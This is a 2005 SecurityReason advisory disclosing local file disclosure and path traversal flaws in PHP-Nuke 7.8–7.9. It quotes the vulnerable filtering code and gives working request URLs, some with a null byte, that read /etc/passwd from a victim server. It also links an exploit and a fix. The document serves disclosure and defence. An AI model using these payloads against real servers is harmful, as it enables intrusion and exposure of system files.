|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
| Details : SecurityReason Advisory | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
 Advisory Text : SecurityAlert SA025 Author: sp3x Date: 19. October 2005 Affected software : =================== PHPNuke version : 7.8 - 7.9 + patch 3.1 Description : ============= PHP-Nuke is a Web Portal System, storytelling software, News system, online community or whatever you want to call it. The goal of PHP-Nuke is to have an automated web site to distribute news and articles with users system. Each user can submit comments to discuss the articles, just similar to Slashdot and many others. Main features include: web based admin, surveys, top page, access stats page with counter, user customizable box, themes manager for registered users, friendly administration GUI with graphic topic manager, option to edit or delete stories, option to delete comments, moderation system, Referers page to know who link us, sections manager, customizable HTML blocks, user and authors edit, an integrated Banners Ads system, search engine, backend/headlines generation (RSS/RDF format), and many, many more friendly functions. PHP-Nuke is written 100% in PHP and requires Apache Web server, PHP and a SQL (MySQL, mSQL, PostgreSQL, ODBC, ODBC_Adabas, Sybase or Interbase). Support for 25 languages, Yahoo like search engine, Comments option in Polls, lot of themes, Ephemerids manager, File Manager, Headlines, download manager, faq manager, advanced blocks systems, reviews system, newsletter, categorized articles, multilanguage content management, phpBB Forums included and a lot more. Vulnerabilities : ***************** File disclosure : ================= By GET or POST request remote attacker can make specially crafted parameter to see the files on the victim server. In our case in php.ini the magic_quotes_gpc must be off. Environment : ------------- php.ini: magic_quotes_gpc = Off The problem exist in modules.php so first let's see the source code of this file. Original code from modules.php : --------------------------------- ... if (!isset($file) OR $file != $_REQUEST['file']) $file="index"; if (stripos_clone($file,"..") OR stripos_clone($mop,"..")) die("You are so cool..."); .... ----------------------------------- Here we can see that there is function stripos_clone(); to filter variable $file, $mop to detect and prevent Remote Directory Traversal - Local file include. So when user set variable $file, $mop the function start filter ".." . Ok lets see the function stripos_clone(); code in mainfile.php : -------- // We want to use the function stripos, // but thats only available since PHP5. // So we cloned the function... if(!function_exists('stripos')) { function stripos_clone($haystack, $needle, $offset=0) { return strpos(strtoupper($haystack), strtoupper($needle), $offset); } } else { // But when this is PHP5, we use the original function function stripos_clone($haystack, $needle, $offset=0) { return stripos($haystack, $needle, $offset=0); } } -------- Now lets do some test : http://victim/[nuke_dir]/modules.php?name=Search&file=index/../ After this we will see the message : ------------------------------------ You are so cool... ------------------------------------ Everything goes fine but when we try : http://victim/[nuke_dir]/modules.php?name=Search&file=../../../../../../../ ../../etc/passwd%00 Then we get /etc/passwd from server . Another method to see file when server have magic_quotes_gpc = On . Environment : ------------- php.ini: magic_quotes_gpc = On Some phpnuke version do not include all phpbb forum. When in phpnuke directory is missing file extension.inc in modules/Forums/ then we can use variable $phpEx to include file from server . Example : http://victim/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&p hpEx=../../../../../../etc/passwd Exploit : --------- http://securityreason.com/achievement_exploitalert/3 How to fix : ============ Download the new version of the script or update. http://securityreason.com/download/1/4 Greetz : ======== Special greetz : cXIb8O3 , pkw Contact : ========= sp3x[at]securityreason[dot].com www.securityreason.com |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
CVE : 
(
- 2011-05-13